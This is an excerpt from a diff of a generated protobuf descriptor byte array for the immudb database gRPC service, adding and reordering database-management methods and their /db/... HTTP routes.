0x62, 0x61, 0x73, 0x65, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, - 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x0d, 0x3a, 0x01, 0x2a, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x6c, 0x6f, 0x61, 0x64, 0x12, - 0x74, 0x0a, 0x0e, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x15, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x75, - 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x74, 0x0a, 0x0e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, - 0x6c, 0x65, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, - 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x63, 0x0a, 0x0c, 0x44, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, - 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, - 0x3a, 0x01, 0x2a, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x88, 0x02, 0x01, - 0x12, 0x75, 0x0a, 0x0e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, - 0x56, 0x32, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x56, 0x32, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x56, 0x32, 0x22, - 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x3a, 0x01, 0x2a, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, - 0x6c, 0x69, 0x73, 0x74, 0x2f, 0x76, 0x32, 0x12, 0x67, 0x0a, 0x0b, 0x55, 0x73, 0x65, 0x44, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x1a, - 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x55, 0x73, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x70, 0x6c, 0x79, - 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x12, 0x16, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x73, - 0x65, 0x2f, 0x7b, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x7d, - 0x12, 0x63, 0x0a, 0x0e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, - 0x73, 0x65, 0x12, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, - 0x6e, 0x67, 0x73, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x70, 0x64, 0x61, - 0x74, 0x65, 0x88, 0x02, 0x01, 0x12, 0x79, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x1a, + 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, + 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x1c, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x13, 0x3a, + 0x01, 0x2a, 0x22, 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x77, 0x69, + 0x74, 0x68, 0x88, 0x02, 0x01, 0x12, 0x79, 0x0a, 0x10, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x56, 0x32, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, + 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x3a, 0x01, - 0x2a, 0x22, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x2f, 0x76, 0x32, - 0x12, 0x6a, 0x0a, 0x13, 0x47, 0x65, 0x74, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, - 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, - 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, - 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, - 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x3a, 0x01, 0x2a, 0x22, 0x0c, 0x2f, 0x64, 0x62, - 0x2f, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x88, 0x02, 0x01, 0x12, 0x84, 0x01, 0x0a, - 0x15, 0x47, 0x65, 0x74, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, - 0x69, 0x6e, 0x67, 0x73, 0x56, 0x32, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, - 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x27, + 0x2a, 0x22, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x2f, 0x76, 0x32, + 0x12, 0x6c, 0x0a, 0x0c, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x0d, 0x3a, 0x01, 0x2a, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x74, + 0x0a, 0x0e, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x15, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x6e, + 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x74, 0x0a, 0x0e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, 0x6c, + 0x65, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, + 0x2f, 0x64, 0x62, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x63, 0x0a, 0x0c, 0x44, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, + 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x3a, + 0x01, 0x2a, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x88, 0x02, 0x01, 0x12, + 0x75, 0x0a, 0x0e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x56, + 0x32, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x56, 0x32, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x56, 0x32, 0x22, 0x16, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x3a, 0x01, 0x2a, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x6c, + 0x69, 0x73, 0x74, 0x2f, 0x76, 0x32, 0x12, 0x67, 0x0a, 0x0b, 0x55, 0x73, 0x65, 0x44, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x1a, 0x1f, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, + 0x73, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x70, 0x6c, 0x79, 0x22, + 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x12, 0x16, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x73, 0x65, + 0x2f, 0x7b, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x12, + 0x63, 0x0a, 0x0e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x12, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, + 0x67, 0x73, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, + 0x65, 0x88, 0x02, 0x01, 0x12, 0x79, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x56, 0x32, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, + 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x3a, 0x01, 0x2a, + 0x22, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x2f, 0x76, 0x32, 0x12, + 0x6a, 0x0a, 0x13, 0x47, 0x65, 0x74, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, + 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x3a, - 0x01, 0x2a, 0x22, 0x0f, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, - 0x2f, 0x76, 0x32, 0x12, 0x69, 0x0a, 0x0a, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, - 0x78, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, - 0x2f, 0x64, 0x62, 0x2f, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x58, - 0x0a, 0x0c, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x16, - 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, - 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x6d, 0x70, - 0x61, 0x63, 0x74, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x40, 0x0a, 0x09, 0x73, 0x74, 0x72, 0x65, - 0x61, 0x6d, 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x3e, 0x0a, 0x09, 0x73, 0x74, - 0x72, 0x65, 0x61, 0x6d, 0x53, 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, - 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x54, 0x0a, 0x13, 0x73, 0x74, - 0x72, 0x65, 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, - 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, - 0x12, 0x4c, 0x0a, 0x13, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, - 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x1b, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, - 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x00, 0x28, 0x01, 0x12, 0x42, - 0x0a, 0x0a, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, - 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, - 0x30, 0x01, 0x12, 0x44, 0x0a, 0x0b, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x5a, 0x53, 0x63, 0x61, - 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, - 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x48, 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, - 0x61, 0x6d, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 